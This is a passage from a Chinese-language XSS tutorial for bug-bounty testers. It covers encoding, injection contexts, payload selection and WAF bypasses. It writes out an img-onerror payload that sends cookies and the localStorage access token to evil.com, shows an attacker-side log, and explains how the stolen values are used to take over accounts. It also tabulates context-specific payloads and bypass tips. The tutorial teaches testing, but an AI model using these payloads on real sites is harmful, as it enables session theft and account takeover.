src&#061; onerror&#061; href&#061; <\/p>\n<p id=\"uda79b00d\">2. JavaScript \u2014\u2014 \u771f\u6b63\u6267\u884c\u7684\u52a8\u4f5c(\u8d1f\u8d23&#034;\u5e72\u4ec0\u4e48&#034;)<\/p>\n<p>alert(1)           \/\/ \u5f39\u7a97<br \/>\ndocument.cookie    \/\/ \u8bfb cookie<br \/>\nnew Image()        \/\/ \u53d1\u8bf7\u6c42<br \/>\nfetch(&#039;&#8230;&#039;)       \/\/ \u53d1\u8bf7\u6c42 <\/p>\n<p id=\"ub6c06c5a\">3. URL \u7f16\u7801 \u2014\u2014 \u4f20\u8f93\u7684\u5305\u88c5\u7eb8(\u8d1f\u8d23&#034;\u585e\u8fdb\u94fe\u63a5\u91cc\u4f20\u8f93&#034;)<\/p>\n<p id=\"u65f19a99\">\u7279\u6b8a\u5b57\u7b26\u6362\u6210 %xx,\u5426\u5219\u6d4f\u89c8\u5668\/\u670d\u52a1\u5668\u4f1a\u628a payload \u62c6\u4e71:<\/p>\n<p>&lt; \u2192 %3C      &gt; \u2192 %3E      \u7a7a\u683c \u2192 %20      &#034; \u2192 %22 <\/p>\n<p id=\"u53bf30bb\">&lt;img src&#061;x onerror&#061;alert(1)&gt; \u8fdb URL \u540e:<\/p>\n<p>%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E <\/p>\n<p id=\"u42cc0531\">\u8fd9\u4e71\u7801\u4e0d\u662f\u65b0\u8bed\u8a00,\u662f\u540c\u4e00\u6bb5 HTML&#043;JS \u6362\u4e86\u79cd\u5199\u6cd5,\u6d4f\u89c8\u5668\u6536\u5230\u540e\u89e3\u7801\u8fd8\u539f\u3002<\/p>\n<h4 id=\"d2ymb\">\u4e00\u53e5\u8bdd\u4e32\u8d77\u6765<\/h4>\n<p>\u4f60\u70b9\u7684\u94fe\u63a5  &#061;  URL(\u7f16\u7801\u8fc7\u7684 HTML&#043;JS)<br \/>\n    \u2193 \u89e3\u7801<br \/>\n\u9875\u9762\u91cc\u6ce8\u5165\u7684\u5185\u5bb9  &#061;  HTML(\u5e26\u4e00\u4e2a\u4e8b\u4ef6\u5c5e\u6027\u5f53&#034;\u95e8&#034;)<br \/>\n    \u2193 \u4e8b\u4ef6\u89e6\u53d1<br \/>\n\u4e8b\u4ef6\u5c5e\u6027\u91cc\u7684\u503c  &#061;  JavaScript(\u771f\u6b63\u5e72\u574f\u4e8b) <\/p>\n<ul>\n<li id=\"u5cc09b18\">HTML \u8d1f\u8d23\u628a\u4ee3\u7801&#034;\u85cf\u8fdb\u9875\u9762\u7ed3\u6784\u91cc&#034;<\/li>\n<li id=\"u89a95c7c\">JavaScript \u8d1f\u8d23&#034;\u5e72\u574f\u4e8b&#034;<\/li>\n<li id=\"u93f7c31d\">URL \u7f16\u7801 \u8d1f\u8d23&#034;\u628a\u5b83\u585e\u8fdb\u94fe\u63a5\u91cc\u4f20\u8f93&#034;<\/li>\n<\/ul>\n<hr id=\"fiWRm\" \/>\n<h3 id=\"SN4u4\">\u7b2c\u56db\u5c42:\u771f\u5b9e payload \u9010\u6bb5\u62c6\u89e3<\/h3>\n<h4 id=\"j5VWk\">\u5b8c\u6574 payload(\u53ef\u8bfb\u7248)<\/h4>\n<p>&lt;img src&#061;x onerror&#061;&#034;<br \/>\n  var c&#061;document.cookie,<br \/>\n      s&#061;localStorage.getItem(&#039;access_token&#039;),<br \/>\n      u&#061;location.href,<br \/>\n      r&#061;document.referrer,<br \/>\n      a&#061;navigator.userAgent;<br \/>\n  new Image().src&#061;&#039;\/\/evil.com\/collect?c&#061;&#039;&#043;encodeURIComponent(c)<br \/>\n    &#043;&#039;&amp;s&#061;&#039;&#043;encodeURIComponent(s)<br \/>\n    &#043;&#039;&amp;u&#061;&#039;&#043;encodeURIComponent(u)<br \/>\n    &#043;&#039;&amp;r&#061;&#039;&#043;encodeURIComponent(r)<br \/>\n    &#043;&#039;&amp;a&#061;&#039;&#043;encodeURIComponent(a);<br \/>\n&#034;&gt; <\/p>\n<h4 id=\"P5KNX\">\u9010\u6bb5\u8bb2\u89e3<\/h4>\n<p id=\"u1de3b517\">1. &lt;img src&#061;x onerror&#061;&#034;&#8230;&#034;&gt; \u2014\u2014 \u89e6\u53d1\u5668\u548c\u8f7d\u4f53<\/p>\n<ul>\n<li id=\"udb874fbc\">&lt;img&gt;:\u5408\u6cd5 HTML \u6807\u7b7e,\u5f88\u591a\u8fc7\u6ee4\u5668\u53ea\u62e6 &lt;script&gt;,\u5374\u653e\u8fc7 &lt;img&gt;<\/li>\n<li id=\"u402326f9\">src&#061;x:\u6545\u610f\u7ed9\u4e00\u4e2a\u52a0\u8f7d\u5931\u8d25\u7684\u56fe\u7247\u5730\u5740(x \u4e0d\u662f\u771f\u56fe\u7247)<\/li>\n<li id=\"u5e823569\">onerror&#061;&#034;&#8230;&#034;:\u56fe\u7247\u52a0\u8f7d\u5931\u8d25\u65f6\u81ea\u52a8\u89e6\u53d1 \u2192 \u91cc\u9762 JS \u7acb\u523b\u6267\u884c,\u65e0\u9700\u7528\u6237\u64cd\u4f5c<\/li>\n<\/ul>\n<p id=\"u14e8cbcc\">2. new Image().src&#061;&#039;&#8230;&#039; \u2014\u2014 \u5916\u5e26\u901a\u9053(\u56de\u4f20\u6570\u636e)<\/p>\n<ul>\n<li id=\"uaa009a39\">\u5efa\u56fe\u7247\u5bf9\u8c61,\u8bbe src \u4e3a\u653b\u51fb\u8005\u670d\u52a1\u5668\u5730\u5740 \u2192 \u6d4f\u89c8\u5668\u7acb\u523b\u53d1 GET \u8bf7\u6c42<\/li>\n<li id=\"u733ea59e\">\u6ca1\u6709 CORS \u9650\u5236:\u56fe\u7247\u53ef\u8de8\u57df\u52a0\u8f7d,\u6d4f\u89c8\u5668\u53ea\u62e6&#034;\u8bfb\u56de\u6765&#034;\u4e0d\u62e6&#034;\u53d1\u51fa\u53bb&#034;<\/li>\n<li id=\"uc3d05d87\">\u65e0\u611f:\u4e0d\u50cf location.href \u4f1a\u8df3\u8f6c,\u56fe\u7247\u4fe1\u6807\u6700\u901a\u7528<\/li>\n<\/ul>\n<p id=\"ub8f5d9e9\">3. \u5404\u5b57\u6bb5 \u2014\u2014 \u5077\u7684\u662f\u4ec0\u4e48<\/p>\n<p>var c &#061; document.cookie;                          \/\/ \u4f1a\u8bdd cookie,\u8eab\u4efd\u51ed\u636e<br \/>\nvar s &#061; localStorage.getItem(&#039;access_token&#039;);     \/\/ \u73b0\u4ee3\u5e94\u7528\u5e38\u628a JWT\/\u4ee4\u724c\u653e localStorage<br \/>\nvar u &#061; location.href;                            \/\/ \u5f53\u524d\u9875\u9762(\u786e\u8ba4\u6f0f\u6d1e\u4e0a\u4e0b\u6587)<br \/>\nvar r &#061; document.referrer;                        \/\/ \u4ece\u54ea\u6765(\u6eaf\u6e90\u793e\u5de5\u6e20\u9053)<br \/>\nvar a &#061; navigator.userAgent;                      \/\/ \u6d4f\u89c8\u5668\/\u7cfb\u7edf\u6307\u7eb9 <\/p>\n<p id=\"ueba2d8fa\">\u73b0\u4ee3\u5f88\u591a\u5e94\u7528(\u5c24\u5176 SPA)\u628a\u767b\u5f55\u4ee4\u724c\u653e\u5728 localStorage\/sessionStorage \u800c\u4e0d\u662f cookie, \u6240\u4ee5\u771f\u5b9e payload \u4f1a\u540c\u65f6\u5077 cookie \u548c localStorage\u3002<\/p>\n<p id=\"u181eff22\">4. encodeURIComponent(&#8230;) \u2014\u2014 \u7f16\u7801<\/p>\n<p id=\"u12f5c15b\">\u628a\u5077\u5230\u7684\u6570\u636e\u505a URL \u7f16\u7801,\u9632\u6b62 cookie \u91cc\u542b &#061;\u3001;\u3001&amp; \u8fd9\u7c7b\u5b57\u7b26\u628a\u56de\u4f20 URL \u7684\u53c2\u6570\u7ed3\u6784\u641e\u4e71\u3002<\/p>\n<p>\/\/ \u4e0d\u7f16\u7801:cookie&#061;&#034;a&#061;b;c&#061;d&#034; \u4f1a\u8ba9 URL \u53c2\u6570\u89e3\u6790\u9519\u4e71<br \/>\n\/\/ \u7f16\u7801\u540e:cookie&#061;&#034;a%3Db%3Bc%3Dd&#034; \u5b89\u5168\u4f20\u8f93 <\/p>\n<p id=\"u14ecbc37\">5. \/\/evil.com\/collect \u2014\u2014 \u6536\u8d27\u5730\u5740<\/p>\n<ul>\n<li id=\"u3de5fb6a\">\/\/ \u662f\u534f\u8bae\u76f8\u5bf9 URL:\u5728 http \u4e0a\u53d1 http:\/\/evil.com,\u5728 https \u4e0a\u53d1 https:\/\/evil.com,\u81ea\u52a8\u5339\u914d<\/li>\n<li id=\"u301d603a\">\u907f\u514d\u9875\u9762\u662f https \u5374\u53bb\u8bf7\u6c42 http \u7684\u56fe\u7247\u88ab\u6d4f\u89c8\u5668\u5f53&#034;\u6df7\u5408\u5185\u5bb9&#034;\u963b\u65ad<\/li>\n<\/ul>\n<h4 id=\"Bdb1M\">\u5b83\u585e\u8fdb URL \u540e<\/h4>\n<p>https:\/\/victim.com\/search?q&#061;%3Cimg%20src%3Dx%20onerror%3D%22&#8230;%3B%20new%20Image().src%3D%27\/\/evil.com\/collect%3Fc%3D&#8230;%27%22%3E <\/p>\n<h4 id=\"VZTOH\">\u653b\u51fb\u8005\u6536\u5230\u4ec0\u4e48(evil.com \u65e5\u5fd7)<\/h4>\n<p>GET \/collect?c&#061;session%3Dabc123%3B&#8230;&amp;s&#061;eyJhbGciOi&#8230;&amp;u&#061;https%3A%2F%2Fvictim.com%2Fhome&amp;r&#061;https%3A%2F%2Fmail&#8230;&amp;a&#061;Mozilla%2F5.0&#8230; <\/p>\n<p id=\"ued4ad87a\">\u89e3\u7801\u540e:<\/p>\n<ul>\n<li id=\"ucf4d6539\">session&#061;abc123 \u2192 \u586b\u8fdb\u81ea\u5df1\u6d4f\u89c8\u5668,\u767b\u5f55\u6210\u4f60<\/li>\n<li id=\"u893787fb\">eyJhbGciOi&#8230;(JWT)\u2192 \u653e\u8fdb Authorization: Bearer &#8230; \u8bf7\u6c42\u5934,\u8c03 API \u6210\u4e3a\u4f60<\/li>\n<li id=\"u38b781b0\">referrer \u2192 \u77e5\u9053\u662f\u54ea\u5c01\u9493\u9c7c\u90ae\u4ef6\u5751\u5230\u7684\u4eba,\u4f18\u5316\u540e\u7eed\u653b\u51fb<\/li>\n<\/ul>\n<hr id=\"sKix0\" \/>\n<h3 id=\"IgJEV\">\u7b2c\u4e94\u5c42:\u54ea\u91cc\u80fd\u6d4b XSS(\u8f93\u5165\u2192\u8f93\u51fa\u6a21\u578b)<\/h3>\n<p id=\"ua4738189\">\u4e0d\u662f&#034;\u80fd\u8f93\u5165\u5c31\u80fd XSS&#034;,\u800c\u662f\u4e09\u8005\u540c\u65f6\u6ee1\u8db3\u624d\u6709 XSS:\u7528\u6237\u53ef\u63a7\u6570\u636e &#043; \u5230\u8fbe\u6d4f\u89c8\u5668\u6267\u884c\u73af\u5883 &#043; \u672a\u88ab\u6b63\u786e\u6d88\u6bd2\u3002<\/p>\n<h4 id=\"FaxCh\">\u6838\u5fc3\u5224\u65ad\u6a21\u578b<\/h4>\n<p>\u4f60\u8f93\u5165 \u2192 \u540e\u7aef\u63a5\u6536 \u2192 \u5b58\/\u53d6\/\u8f6c \u2192 \u8f93\u51fa\u5230\u54cd\u5e94 \u2192 \u6d4f\u89c8\u5668\u89e3\u6790 \u2192 \u6267\u884c<br \/>\n                                              \u2191<br \/>\n                                        \u6f0f\u6d1e\u5c31\u5728\u8fd9\u4e00\u6bb5 <\/p>\n<p id=\"u60232700\">\u5173\u952e\u4e0d\u5728\u4e8e&#034;\u80fd\u4e0d\u80fd\u8f93\u5165&#034;,\u800c\u5728\u4e8e**&#034;\u8f93\u5165\u662f\u5426\u3001\u4e14\u5982\u4f55\u5230\u8fbe\u6d4f\u89c8\u5668\u7684\u6267\u884c\u73af\u5883&#034;**\u3002<\/p>\n<h4 id=\"KXvIv\">\u80fd\u6210 XSS \u7684\u5178\u578b\u573a\u666f<\/h4>\n<p id=\"u4eb40fef\">\u2460 \u7528\u6237\u8f93\u5165\u88ab\u539f\u6837\u56de\u663e\u5728\u54cd\u5e94 HTML \u91cc \u2014\u2014 \u53cd\u5c04\u578b\/\u5b58\u50a8\u578b<\/p>\n<p id=\"u37bbf005\">\u2461 \u8f93\u5165\u6ca1\u56de\u663e\u5728\u54cd\u5e94\u91cc,\u4f46\u8fdb\u5165\u5ba2\u6237\u7aef JS \u7684&#034;\u6e90\u2192\u6c47&#034; \u2014\u2014 DOM \u578b<\/p>\n<p>https:\/\/victim.com\/page#&lt;img src&#061;x onerror&#061;alert(1)&gt; <\/p>\n<p id=\"u2c2d6030\">\u54cd\u5e94 HTML \u662f\u9759\u6001\u7684,\u4f46\u9875\u9762 JS \u6709 el.innerHTML &#061; location.hash \u2192 \u7167\u6837\u6267\u884c\u3002 fragment \u90e8\u5206\u670d\u52a1\u5668\u90fd\u6536\u4e0d\u5230,\u54cd\u5e94\u5305\u91cc\u770b\u4e0d\u5230,\u4f46\u80fd XSS\u3002<\/p>\n<p id=\"u5b5dbc58\">\u2462 \u8f93\u5165\u8fdb\u4e86\u5c5e\u6027\/JS \u5b57\u7b26\u4e32\/URL \u4e0a\u4e0b\u6587(\u9690\u5f0f&#034;\u5c55\u793a&#034;)<\/p>\n<p>&lt;input value&#061;&#034;\u4f60\u7684\u8f93\u5165&#034;&gt;     &lt;!&#8211; \u8fdb\u4e86\u5c5e\u6027 &#8211;&gt;<br \/>\nvar name &#061; &#034;\u4f60\u7684\u8f93\u5165&#034;;       &lt;!&#8211; \u8fdb\u4e86 JS \u5b57\u7b26\u4e32 &#8211;&gt;<br \/>\n&lt;a href&#061;&#034;\u4f60\u7684\u8f93\u5165&#034;&gt;          &lt;!&#8211; \u8fdb\u4e86 URL &#8211;&gt; <\/p>\n<p id=\"u0af94d11\">\u62fc\u63a5\u65f6\u6ca1\u8f6c\u4e49,\u95ed\u5408\u5bf9\u5e94\u5f15\u53f7\u5c31\u80fd\u6ce8\u5165\u3002<\/p>\n<h4 id=\"hdlG3\">\u4e0d\u80fd\u6210 XSS \u7684\u60c5\u51b5<\/h4>\n<ul>\n<li id=\"u0dc03056\">\u8f93\u5165\u53ea\u8fdb\u5e93,\u4ece\u4e0d\u6e32\u67d3\u5230\u4efb\u4f55\u9875\u9762:\u6bd4\u5982\u610f\u89c1\u53cd\u9988\u53ea\u5728\u7eaf\u6587\u672c\u90ae\u4ef6\u91cc\u53d1\u7ed9\u5ba2\u670d \u2192 \u4e0d\u662f XSS(\u53ef\u80fd\u662f\u90ae\u4ef6\u5934\u6ce8\u5165)<\/li>\n<li id=\"u8562d311\">\u8f93\u5165\u88ab\u6b63\u786e\u8f6c\u4e49\/\u7f16\u7801:\u540e\u7aef htmlspecialchars\u3001\u524d\u7aef textContent(\u975e innerHTML)\u3001\u4e25\u683c CSP<\/li>\n<li id=\"u61941e94\">\u8f93\u5165\u53ea\u8fdb HTTP \u5934\/\u7eaf JSON\/\u4e0b\u8f7d\u6587\u4ef6:\u5982\u679c\u6d88\u8d39\u65b9\u5f53\u7eaf\u6587\u672c\u663e\u793a\u4e14\u6b63\u786e\u8f6c\u4e49 \u2192 \u65e0 XSS<\/li>\n<\/ul>\n<h4 id=\"UA7Qm\">&#034;URL \u91cc&#034;\u7279\u522b\u8bf4\u660e<\/h4>\n<ul>\n<li id=\"uc1777b10\">query \u53c2\u6570(?q&#061;&#8230;):\u53d1\u7ed9\u670d\u52a1\u5668,\u670d\u52a1\u5668\u56de\u663e \u2192 \u53cd\u5c04\u578b\u3002\u6d4b\u6cd5:\u770b\u54cd\u5e94\u5305\u6709\u6ca1\u6709\u4f60\u7684\u8f93\u5165<\/li>\n<li id=\"u8a9805f2\">fragment(#&#8230;):\u4e0d\u53d1\u5230\u670d\u52a1\u5668,\u53ea\u5728\u524d\u7aef\u3002\u670d\u52a1\u5668\u54cd\u5e94\u5305\u6c38\u8fdc\u770b\u4e0d\u5230 \u2192 DOM \u578b\u3002\u6d4b\u6cd5:\u5ba1\u524d\u7aef JS \u6709\u6ca1\u6709\u8bfb hash \u5199 DOM,\u5149\u770b\u54cd\u5e94\u5305\u6d4b\u4e0d\u51fa\u6765<\/li>\n<\/ul>\n<p id=\"uef97c977\">&#034;\u53ea\u6709\u7528\u6237\u8f93\u5165\u88ab\u539f\u6837\u5c55\u793a\u5728\u54cd\u5e94\u5305\u624d\u80fd\u6d4b\u8bd5&#034;\u2014\u2014\u5bf9\u53cd\u5c04\/\u5b58\u50a8\u578b\u6210\u7acb,\u5bf9 DOM \u578b\u4e0d\u6210\u7acb\u3002<\/p>\n<h4 id=\"xwxCF\">\u5b9e\u6218\u5224\u65ad\u6d41\u7a0b<\/h4>\n<li id=\"u0fe51910\">\u8f93\u5165\u53ef\u63a7\u5417?(URL \u53c2\u6570\u3001\u8868\u5355\u3001cookie\u3001Referer\u3001User-Agent\u3001\u6587\u4ef6\u540d\u2026\u2026\u90fd\u7b97)<\/li>\n<li id=\"u5d1dc8b2\">\u6570\u636e\u53bb\u54ea\u4e86?(\u56de\u663e HTML?\u8fdb\u5c5e\u6027?\u8fdb JS?\u8fdb URL?\u8fd8\u662f\u53ea\u5b58\u5e93\u4e0d\u6e32\u67d3?)<\/li>\n<li id=\"ufa908fc9\">\u600e\u4e48\u6e32\u67d3\u7684?(innerHTML \u5371\u9669 \/ textContent \u5b89\u5168?\u540e\u7aef\u8f6c\u4e49\u4e86\u6ca1?CSP \u7ba1?)<\/li>\n<li id=\"ua001ca40\">\u9009\u5bf9\u5e94 payload \u6d4b<\/li>\n<hr id=\"Q4jZf\" \/>\n<h3 id=\"DSnCI\">\u7b2c\u516d\u5c42:&lt;script&gt; \u4e3a\u4ec0\u4e48\u4e0d\u597d\u7528 &#043; \u6ce8\u5165\u4e0a\u4e0b\u6587\u5224\u65ad<\/h3>\n<h4 id=\"iEnca\">\u4e3a\u4ec0\u4e48 &lt;script&gt; \u5b9e\u6218\u91cc\u4e0d\u597d\u7528<\/h4>\n<li id=\"u5da9c7c3\">\u7b7e\u540d\u592a\u660e\u663e:WAF\u3001\u8fc7\u6ee4\u5668\u7b2c\u4e00\u6761\u5c31\u62e6 script<\/li>\n<li id=\"u4450e7f4\">CSP \u91cd\u70b9\u9632\u5b83:script-src &#039;self&#039; \u65f6\u5185\u8054 &lt;script&gt; \u76f4\u63a5\u4e0d\u6267\u884c\u2014\u2014\u4f46\u5f88\u591a\u7ad9\u70b9\u5fd8\u4e86\u7ba1\u4e8b\u4ef6\u5904\u7406\u5668<\/li>\n<li id=\"ubbda70fe\">\u8f93\u5165\u6821\u9a8c\u9488\u5bf9\u6027\u5f3a:\u8fc7\u6ee4 &lt;script \u5bb9\u6613,\u8fc7\u6ee4\u6240\u6709\u80fd\u89e6\u53d1 JS \u7684\u6807\u7b7e\/\u4e8b\u4ef6\u5f88\u96be<\/li>\n<p id=\"u90315978\">\u6838\u5fc3\u903b\u8f91:\u9632\u5b88\u65b9&#034;\u91cd\u70b9\u76ef &lt;script&gt;&#034;,\u6240\u4ee5\u653b\u51fb\u8005&#034;\u907f\u5f00 &lt;script&gt;&#034;\u3002<\/p>\n<h4 id=\"qQTU5\">\u6309\u6ce8\u5165\u70b9\u9009 payload(\u5b9e\u6218\u6838\u5fc3)<\/h4>\n<p id=\"uc80d86c2\">\u540c\u4e00\u4e2a\u5e94\u7528,\u6ce8\u5165\u4f4d\u7f6e\u4e0d\u540c,\u53ef\u7528 payload \u5929\u5dee\u5730\u522b\u3002\u5148\u5224\u65ad\u4e0a\u4e0b\u6587,\u518d\u9009 payload\u3002<\/p>\n<table id=\"i8Tyu\">\n<tbody>\n<tr>\n<td>\n<p id=\"u0be6a28b\">\u4e0a\u4e0b\u6587<\/p>\n<\/td>\n<td>\n<p id=\"uce5ae454\">\u6307\u793a<\/p>\n<\/td>\n<td>\n<p id=\"u2d1c5577\">\u5f00\u573a\u52a8\u4f5c<\/p>\n<\/td>\n<td>\n<p id=\"u343af0d9\">payload<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u6301e765\">HTML \u6587\u672c\u8282\u70b9<\/p>\n<\/td>\n<td>\n<p id=\"u100869fe\">&lt;b&gt;\u8f93\u5165&lt;\/b&gt;<\/p>\n<\/td>\n<td>\n<p id=\"u01ee0ce8\">\u63d2\u65b0\u6807\u7b7e<\/p>\n<\/td>\n<td>\n<p id=\"uf40d3031\">&lt;svg onload&#061;alert(1)&gt;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u050c7e0c\">\u5c5e\u6027\u503c\u5185\u90e8<\/p>\n<\/td>\n<td>\n<p id=\"ufe0c1ca4\">value&#061;&#034;\u8f93\u5165&#034;<\/p>\n<\/td>\n<td>\n<p id=\"ua8ce5fac\">\u95ed\u5408\u5c5e\u6027<\/p>\n<\/td>\n<td>\n<p id=\"u0bd11b3f\">&#034; autofocus onfocus&#061;alert(1)\/\/<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"uecefcd31\">\u5757\u6807\u7b7e\u5185<\/p>\n<\/td>\n<td>\n<p id=\"u476d84b3\">&lt;title&gt;\u8f93\u5165&lt;\/title&gt;<\/p>\n<\/td>\n<td>\n<p id=\"u088e659c\">\u5148\u5173\u6807\u7b7e<\/p>\n<\/td>\n<td>\n<p id=\"u8fb8f75d\">&lt;\/title&gt;&lt;svg onload&#061;alert(1)&gt;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u8bff2d62\">href\/src<\/p>\n<\/td>\n<td>\n<p id=\"u1951a1b0\">&lt;a href&#061;&#034;\u8f93\u5165&#034;&gt;<\/p>\n<\/td>\n<td>\n<p id=\"u345584b2\">\u534f\u8bae<\/p>\n<\/td>\n<td>\n<p id=\"u8906350f\">javascript:alert(1)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ud38c698e\">JS \u5b57\u7b26\u4e32(\u5355\u5f15\u53f7)<\/p>\n<\/td>\n<td>\n<p id=\"uc21989b1\">var x&#061;&#039;\u8f93\u5165&#039;<\/p>\n<\/td>\n<td>\n<p id=\"u6be91d77\">\u95ed\u5b57\u7b26\u4e32<\/p>\n<\/td>\n<td>\n<p id=\"ucb76421e\">&#039;-alert(1)-&#039;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u669cdd9d\">JS \u5b57\u7b26\u4e32(\u8f6c\u4e49)<\/p>\n<\/td>\n<td>\n<p id=\"uce49163e\">\u53cd\u659c\u6760\u8f6c\u4e49<\/p>\n<\/td>\n<td>\n<p id=\"u8066ec42\">\u53cc\u91cd\u8f6c\u4e49<\/p>\n<\/td>\n<td>\n<p id=\"u034ac770\">\\\\&#039;-alert(1)\/\/<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u1146f940\">JS \u903b\u8f91\u5757\u5185<\/p>\n<\/td>\n<td>\n<p id=\"u8db146ef\">\u5728 if\/function \u91cc<\/p>\n<\/td>\n<td>\n<p id=\"u0676c343\">\u95ed\u5408&#043;\u6ce8\u5165<\/p>\n<\/td>\n<td>\n<p id=\"u1e74e6e6\">&#039;}alert(1);{&#039;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u06b5f09e\">JS \u4efb\u610f\u4f4d\u7f6e<\/p>\n<\/td>\n<td>\n<p id=\"uc8df8776\">&lt;script&gt;&#8230;\u8f93\u5165<\/p>\n<\/td>\n<td>\n<p id=\"ub3753375\">\u95ed script<\/p>\n<\/td>\n<td>\n<p id=\"udbc2b386\">&lt;\/script&gt;&lt;svg onload&#061;alert(1)&gt;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u5062bf82\">XML \u9875\u9762<\/p>\n<\/td>\n<td>\n<p id=\"uc44067b5\">text\/xml<\/p>\n<\/td>\n<td>\n<p id=\"u66b609c4\">XML \u547d\u540d\u7a7a\u95f4<\/p>\n<\/td>\n<td>\n<p id=\"u6ca3393e\">&lt;x:script xmlns:x&#061;&#034;&#8230;&#034;&gt;alert(1)&lt;\/x:script&gt;<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"VekG2\">\u5c5e\u6027\u503c\u5185\u90e8(\u91cd\u70b9)<\/h4>\n<p id=\"u03d66e58\">&lt;script&gt; \u5728\u8fd9\u91cc\u5b8c\u5168\u6ca1\u7528,\u5fc5\u987b\u5148\u95ed\u5408\u5c5e\u6027\u518d\u5f00\u65b0\u6807\u7b7e:<\/p>\n<p>&lt;input value&#061;&#034;\u7528\u6237\u8f93\u5165&#034;&gt;<\/p>\n<p>&lt;!&#8211; \u6ce8\u5165:\u95ed\u5408 value \u5c5e\u6027,\u52a0 autofocus&#043;onfocus \u81ea\u52a8\u89e6\u53d1 &#8211;&gt;<br \/>\n&#034;&gt;&lt;img src&#061;x onerror&#061;alert(1)&gt;<br \/>\n&#034; autofocus onfocus&#061;alert(1) x&#061;&#034; <\/p>\n<p id=\"u1c4404d4\">\u91cd\u70b9:\u80fd\u63d2\u5165 &#034; \u6216 &#039; \u95ed\u5408\u5c5e\u6027,XSS \u5c31\u6210\u4e86\u4e00\u534a\u3002<\/p>\n<h4 id=\"U3TCQ\">SRC \u5b9e\u6218\u5fc3\u6001<\/h4>\n<li id=\"ub91d5170\">\u5148\u5224\u65ad\u4e0a\u4e0b\u6587,\u518d\u9009 payload\u2014\u2014\u522b\u4e0a\u6765\u5c31 &lt;script&gt;alert(1),\u5148\u770b\u8f93\u5165\u88ab\u53cd\u5c04\u5230\u54ea<\/li>\n<li id=\"u882fdc60\">payload \u8d8a\u77ed\u8d8a\u597d:SRC \u91cc alert(1) \/ confirm(document.domain) \u8db3\u591f\u8bc1\u660e<\/li>\n<li id=\"u30fbcee8\">\u9047\u8fc7\u6ee4\u5c31\u4e8c\u5206\u5b9a\u4f4d:\u8f93\u5165 &lt;img src&#061;x&gt; \u770b &lt; \u6709\u6ca1\u6709\u88ab\u8f6c\u4e49 \u2192 \u8f93\u5165 onerror \u770b\u4e8b\u4ef6\u6709\u6ca1\u6709\u88ab\u5220 \u2192 \u4e00\u5c42\u5c42\u7f29\u5c0f\u5230&#034;\u5230\u5e95\u54ea\u4e2a\u5b57\u7b26\u88ab\u5904\u7406\u4e86&#034;,\u518d\u9488\u5bf9\u6027\u7ed5\u8fc7<\/li>\n<hr id=\"P7fpo\" \/>\n<h3 id=\"Mw7oX\">\u7b2c\u4e03\u5c42:WAF \u8fc7\u6ee4\u65b9\u6cd5\u4e0e\u7ed5\u8fc7\u65b9\u5f0f<\/h3>\n<h4 id=\"HDla5\">\u4e00\u3001WAF \u8fc7\u6ee4 XSS \u7684\u5e38\u89c1\u65b9\u6cd5<\/h4>\n<table id=\"cfMGt\">\n<tbody>\n<tr>\n<td>\n<p id=\"u3d8a032d\">\u65b9\u6cd5<\/p>\n<\/td>\n<td>\n<p id=\"u620118a2\">\u8bf4\u660e<\/p>\n<\/td>\n<td>\n<p id=\"u97f655e0\">\u5f31\u70b9<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ud4fca0b5\">\u9ed1\u540d\u5355\u5173\u952e\u5b57<\/p>\n<\/td>\n<td>\n<p id=\"u13ecd09c\">\u5339\u914d script\/onerror\/alert<\/p>\n<\/td>\n<td>\n<p id=\"u36de9a26\">\u9ed1\u540d\u5355\u6c38\u8fdc\u5217\u4e0d\u5168<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"udc1e36a5\">\u6807\u7b7e\/\u5b57\u7b26\u8fc7\u6ee4<\/p>\n<\/td>\n<td>\n<p id=\"u07c1f196\">\u62e6 &lt; &gt; &#034; &#039;<\/p>\n<\/td>\n<td>\n<p id=\"ub62c2f63\">\u6f0f\u4e00\u4e2a\u5c31\u7834<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u81f531e6\">\u5927\u5c0f\u5199\u654f\u611f<\/p>\n<\/td>\n<td>\n<p id=\"uea2bc28b\">\u53ea\u62e6\u5c0f\u5199<\/p>\n<\/td>\n<td>\n<p id=\"ua28f97a7\">\u5927\u5c0f\u5199\u53d8\u5f62\u53ef\u7ed5<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u7d689f2a\">\u53ea\u67e5\u503c\u4e0d\u67e5\u540d<\/p>\n<\/td>\n<td>\n<p id=\"udd29c149\">\u53c2\u6570\u540d\u53cd\u5c04\u65f6\u4e0d\u62e6<\/p>\n<\/td>\n<td>\n<p id=\"uc706c4cd\">\u7ecf\u5178\u76f2\u533a<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ubf9450f6\">\u4e00\u6b21\u6027 strip<\/p>\n<\/td>\n<td>\n<p id=\"u6f7c2a00\">strip_tags \u5220\u4e00\u6b21<\/p>\n<\/td>\n<td>\n<p id=\"u64d22997\">\u788e\u7247\u5316\u7ed5\u8fc7<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u0fe4c8e4\">\u6b63\u5219\u7279\u5f81\u5339\u914d<\/p>\n<\/td>\n<td>\n<p id=\"u98b65648\">\u5339\u914d\u5df2\u77e5 payload \u6a21\u5f0f<\/p>\n<\/td>\n<td>\n<p id=\"ucd41ec63\">\u591a\u53cd\u5c04\/\u53d8\u5f62\u7ed5\u8fc7<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u453c3a55\">CSP<\/p>\n<\/td>\n<td>\n<p id=\"uf5bf2298\">\u6d4f\u89c8\u5668\u5c42\u7eb5\u6df1\u9632\u5fa1<\/p>\n<\/td>\n<td>\n<p 